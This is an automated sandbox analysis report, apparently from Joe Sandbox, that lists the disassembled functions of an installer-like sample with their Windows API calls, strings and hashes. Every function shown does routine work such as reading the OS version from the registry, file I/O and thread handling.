Personal, xrefs: 00CD1699
Terminal Server, xrefs: 00CD1634
WinNT, xrefs: 00CD1521

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: BackOffice$Blade$CommunicationServer$Compute Server$DataCenter$Embedded(Restricted)$EmbeddedNT$Enterprise$Personal$ProductSuite$ProductType$SYSTEM\CurrentControlSet\Control\ProductOptions$Security Appliance$ServerNT$Small Business$Small Business(Restricted)$Storage Server$Terminal Server$WinNT
API String ID: 1586453840-3149529848
Opcode ID: f1f07109241e09d18b66d44d3d590559c54328799d4c1db03cac5af555db179a
Instruction ID: 7ca58ea169e09e871f0192fe11255ace1b7727abbf5ed2509e743566d20c8e79
Opcode Fuzzy Hash: f1f07109241e09d18b66d44d3d590559c54328799d4c1db03cac5af555db179a
Instruction Fuzzy Hash: EF71A478700318AADB209B31ED417AA73B5EB85744F19507BEF16A7791EB34CE4A8780

Function 00CD10E0 Relevance: 37.0, APIs: 12, Strings: 9, Instructions: 224
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 00CD114E
RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 00CD1195
RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 00CD11B4
RegQueryValueExW.ADVAPI32(00000000,CurrentVersion,00000000,00000000,?,?), ref: 00CD11E3
RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 00CD1258
RegQueryValueExW.KERNEL32(00000000,ReleaseId,00000000,00000000,?,?), ref: 00CD12D2
RegQueryValueExW.KERNEL32(00000000,CSDVersion,00000000,00000000,?,?), ref: 00CD1324
GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00CD13B8
GetProcAddress.KERNEL32(00000000), ref: 00CD13BF
__Init_thread_footer.LIBCMT ref: 00CD13D3
GetCurrentProcess.KERNEL32(?), ref: 00CD13F6
RegCloseKey.ADVAPI32(00000000), ref: 00CD1437

Strings

CurrentMinorVersionNumber, xrefs: 00CD11A9
CurrentVersion, xrefs: 00CD11D8
kernel32, xrefs: 00CD13B3
CurrentBuildNumber, xrefs: 00CD124D
CSDVersion, xrefs: 00CD1319
ReleaseId, xrefs: 00CD12C7
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00CD1144
IsWow64Process, xrefs: 00CD13AE
CurrentMajorVersionNumber, xrefs: 00CD118A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: QueryValue$AddressCloseCurrentHandleInit_thread_footerModuleOpenProcProcess
String ID: CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$kernel32
API String ID: 1850716914-3583743485
Opcode ID: 01eaf0f576f914458d126d1959810686bb6b74adb398f754b66b56d53e5a7ed4
Instruction ID: c2669d488fa3aa0ae58072d52efb8afb448600c58d8726c738fadc3ff40ea3fd
Opcode Fuzzy Hash: 01eaf0f576f914458d126d1959810686bb6b74adb398f754b66b56d53e5a7ed4
Instruction Fuzzy Hash: 9791A1B1900328AEDB20CF21CC45B9AB7B5FB45710F0442A6E919B7290DB76AE98CF50

Function 00D7F694 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DecodePointer.KERNEL32(?,?,?,00D7F98B,00E9FF20,?,00000000,?,?,00BB8C54,00000000), ref: 00D7F6A6
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,?,?,?,00D7F98B,00E9FF20,?,00000000,?,?,00BB8C54,00000000), ref: 00D7F6BB
DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D7F737

Strings

AtlThunk_FreeData, xrefs: 00D7F711
AtlThunk_DataToCode, xrefs: 00D7F6FA
atlthunk.dll, xrefs: 00D7F6B6
AtlThunk_AllocateData, xrefs: 00D7F6CC
AtlThunk_InitData, xrefs: 00D7F6E3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: 6c7ea14ebb6fc1a2ab71ed086a0c12438ea71510fb947d4f254933adc0ed0647
Instruction ID: 1878a13fe61e8571abf206f3c1c0bd547a3537c80196add050e96419a8ab82b8
Opcode Fuzzy Hash: 6c7ea14ebb6fc1a2ab71ed086a0c12438ea71510fb947d4f254933adc0ed0647
Instruction Fuzzy Hash: 3B01C4317493007ADE2D5B109D47BE977548F12744F284070FC48BB2D6E6918589D2B5

Function 00CF1870 Relevance: 9.4, APIs: 6, Instructions: 403
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,02141699,00000000), ref: 00CF18D7
GetLastError.KERNEL32 ref: 00CF1BD0
GetLastError.KERNEL32 ref: 00CF1C31
GetLastError.KERNEL32 ref: 00CF18E6

Part of subcall function 00CCEF90: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,02141699,?,00000000), ref: 00CCEFDB
Part of subcall function 00CCEF90: GetLastError.KERNEL32(?,00000000), ref: 00CCEFE5

ReadFile.KERNEL32(?,00000000,00000018,?,00000000), ref: 00CF19E4
ReadFile.KERNEL32(?,?,00000000,00000000,00000000,00000001), ref: 00CF1A3B

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast$File$Read$FormatMessagePointer
String ID:
API String ID: 3903527278-0
Opcode ID: a95d914489f5b840fcb1965742067735df475ff4d07c13ba717f7ceb20463049
Instruction ID: 6c7ccc8bd73878854f9be22d21891e6b0c959b0693a39f884a5ff0f1964303fe
Opcode Fuzzy Hash: a95d914489f5b840fcb1965742067735df475ff4d07c13ba717f7ceb20463049
Instruction Fuzzy Hash: 26F19FB1D00609DFDB04CFA8C841BEDBBB5FF49320F188259E925A7391E774AA44CB91

Function 00D119E0 Relevance: 9.3, APIs: 6, Instructions: 308
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,02141699,?,00000000,?,?,?,?,?,?,00000000,00DF9C2D,000000FF), ref: 00D11A20
CreateThread.KERNEL32(00000000,00000000,00D11D90,?,00000000,?), ref: 00D11A56
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00D11B60
GetExitCodeThread.KERNEL32(00000000,?), ref: 00D11B6B
CloseHandle.KERNEL32(00000000), ref: 00D11B8B

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

WaitForSingleObject.KERNEL32(?,000000FF,02141699,?,?,?), ref: 00D11BF4

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CreateObjectSingleThreadWait$AllocateCloseCodeEventExitHandleHeap
String ID:
API String ID: 3066744267-0
Opcode ID: 94063a7ac1b9620901ef248b72b9005d99eeafa7e7f39dd242dee818d43267da
Instruction ID: d654b3e1152b69b42f0caa579c5bf2b0990ee39874f6d462ba3e476d1ceba149
Opcode Fuzzy Hash: 94063a7ac1b9620901ef248b72b9005d99eeafa7e7f39dd242dee818d43267da
Instruction Fuzzy Hash: 27C18D75A00216EFCB14CF68D984BAEBBF5FF49710F258259E915AB351DB30E841CBA0

Function 00BB9F0B Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 00BB9F20
GetWindowLongW.USER32(?,000000FC), ref: 00BB9F35
CallWindowProcW.USER32(?,?,00000082,?,?), ref: 00BB9F4B
GetWindowLongW.USER32(?,000000FC), ref: 00BB9F65
SetWindowLongW.USER32(?,000000FC,?), ref: 00BB9F75

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Long$CallProc
String ID:
API String ID: 513923721-0
Opcode ID: 060001586a6c936e02cb8d8e88b18460098e1ac977b6de81cd6b258f65478d85
Instruction ID: a4036fc804f633a743e85b64bed0d2ee8f304f4890e08666356149a4da59425a
Opcode Fuzzy Hash: 060001586a6c936e02cb8d8e88b18460098e1ac977b6de81cd6b258f65478d85
Instruction Fuzzy Hash: 8C212C72104700AFC7209F29DC8496BBBF1FB89360B104A2EF59AD2671C772F8559B50

Function 00D1F650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,02141699,?,6CCF37E0,?), ref: 00D1F6B2
WriteFile.KERNEL32(00000000,?,0000C800,0000C800,00000000,?,?,0000C800), ref: 00D1F748
CloseHandle.KERNEL32(00000000,?,?,0000C800), ref: 00D1F7BC

Strings

Ls, xrefs: 00D1F6BF, 00D1F6C2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: Ls
API String ID: 1065093856-1452845052
Opcode ID: 3f564c1631d5aa0d8d4e685f0ddd7ce2af58a5f818cb93b44ae99aa7c07b96be
Instruction ID: 9c4792000a36b0af38d052b6e8c4e78be67595000418ef1a9aa8a2acca48892c
Opcode Fuzzy Hash: 3f564c1631d5aa0d8d4e685f0ddd7ce2af58a5f818cb93b44ae99aa7c07b96be
Instruction Fuzzy Hash: D0515A71900208AFDF14DFA5DD45BEEBBB9FF48314F24826AE400B7290DB755A44CB64

Function 00CB08F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

__Init_thread_footer.LIBCMT ref: 00CB0962

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

Strings

h, xrefs: 00CB096C

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: h
API String ID: 2296764815-3790492082
Opcode ID: de4bfeb1e3e74266bca5d8b278f43247fee322f9fbc69d0e923a72c52baedafd
Instruction ID: 8ea8216e7fc8e76fe41194ddebfe873f97289ae1f71ca568da1c1879b515122a
Opcode Fuzzy Hash: de4bfeb1e3e74266bca5d8b278f43247fee322f9fbc69d0e923a72c52baedafd
Instruction Fuzzy Hash: 2301D4B1E04648DFC758EB59EC42B49B3A8E70EB20F24427AE426E33D0D735F9049A21

Function 00CCF980 Relevance: 3.2, APIs: 2, Instructions: 186
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,00000080,00000001,00000000), ref: 00CCFB54
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00CCFB5F

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 51274aa91a6a2e53d5655ac03aa0aca4dd3d83236cc12c5494476ec920006c5c
Instruction ID: 36f591e9d807a5dbde62bb74558b5f8dab2d9234d4212bff62b17f7aee668486
Opcode Fuzzy Hash: 51274aa91a6a2e53d5655ac03aa0aca4dd3d83236cc12c5494476ec920006c5c
Instruction Fuzzy Hash: FC51A671A001149FDB14DF68CC85B6EFBA9EB85750F24427EE819DB385EA70AD0587E0

Function 00C68B80 Relevance: 3.1, APIs: 2, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000004), ref: 00C68BCA
DestroyWindow.USER32(00000004,?,?,?,?,?,?,?,?,000000FF), ref: 00C68BD7

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Destroy
String ID:
API String ID: 3707531092-0
Opcode ID: fc9c3770ff1350a2d644025c1313e9491fced6c14e69f17c577ac61358fdbbbb
Instruction ID: 15aa4f3498b644e51add9e869079975253b9a6d11a3b8e9976a132556b525e77
Opcode Fuzzy Hash: fc9c3770ff1350a2d644025c1313e9491fced6c14e69f17c577ac61358fdbbbb
Instruction Fuzzy Hash: E631CC70805649EFCB00DF69C94979EFBF4FF11710F1042AAD094A7A91DBB4AA08CB92

Function 00D9817E Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00DA100A,?,00000000,?,?,00DA12AB,?,00000007,?,?,00DA16FD,?,?), ref: 00D98194
GetLastError.KERNEL32(?,?,00DA100A,?,00000000,?,?,00DA12AB,?,00000007,?,?,00DA16FD,?,?), ref: 00D9819F

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 52c3c11485acdcc773b6a3eb6da319ad0b5bcd0eed7e64bc4703f1331383e545
Instruction ID: 179bde353eb97df2427a7582f1aa36c344393f1270de2a0cffffb762fc6cc8a3
Opcode Fuzzy Hash: 52c3c11485acdcc773b6a3eb6da319ad0b5bcd0eed7e64bc4703f1331383e545
Instruction Fuzzy Hash: 95E08631500614EFCF213FA5BC087897BA9DB01791F144010F908B7065CE35D885D7B4

Function 00CB49F0 Relevance: 2.6, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00E172AC,000000FF,00000000,00000000,?,?,00E172AC,00CDEF15,InstanceId), ref: 00CB4A08
MultiByteToWideChar.KERNEL32(00000003,00000000,00E172AC,000000FF,?,-00000001), ref: 00CB4A3A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 61d857cfc27adc6f2a9855de86762207d36dc65b5c58354833ceb465469be092
Instruction ID: 0135706a8e9c6e92b4524ffd996cab5d948b49ad2263f5e729fab813eed28243
Opcode Fuzzy Hash: 61d857cfc27adc6f2a9855de86762207d36dc65b5c58354833ceb465469be092
Instruction Fuzzy Hash: AF110236309211AFD6149B49DC98F6EB7A9EFC0721F20821EF225A72D1CB316D01DBA4

Function 00D97F27 Relevance: 2.6, APIs: 2, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D85304,00BAA726,?,00000000,?,?,8007000E,00BAA59F), ref: 00D97F2B
SetLastError.KERNEL32(00000000,?,?,8007000E,00BAA59F), ref: 00D97FCD

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 567cd4d7642bc1dae57d7662fd9d8ea26a0151911b833a4d40612c8c19990ea3
Instruction ID: 0f9845604d57b5349fec519b4752e4be5bef585b6bd6dd7a3e0ed5886a887b9a
Opcode Fuzzy Hash: 567cd4d7642bc1dae57d7662fd9d8ea26a0151911b833a4d40612c8c19990ea3
Instruction Fuzzy Hash: C1112B3121E2016EDF013FFAACC5D2B669DEF057747240239F108B21A2EA118C089171

Function 00D11BC0 Relevance: 1.7, APIs: 1, Instructions: 169synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,02141699,?,?,?), ref: 00D11BF4

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: ada95596a4cb90f5f0f4d4d3fdccd86d677c85aa79147d1221a4f3748004743f
Instruction ID: 70a113d3c8c53f9635ac930fe8d3e17430fcc6b0ae529707758cec8815416af3
Opcode Fuzzy Hash: ada95596a4cb90f5f0f4d4d3fdccd86d677c85aa79147d1221a4f3748004743f
Instruction Fuzzy Hash: F7517D79A00216DFCB04CF58E584BAAFBB1FF49710F2542A9E915AB351DB31ED41CBA0

Function 00CD0DC0 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00CD1040: __Init_thread_footer.LIBCMT ref: 00CD10B6

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

__Init_thread_footer.LIBCMT ref: 00CD0EA0

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
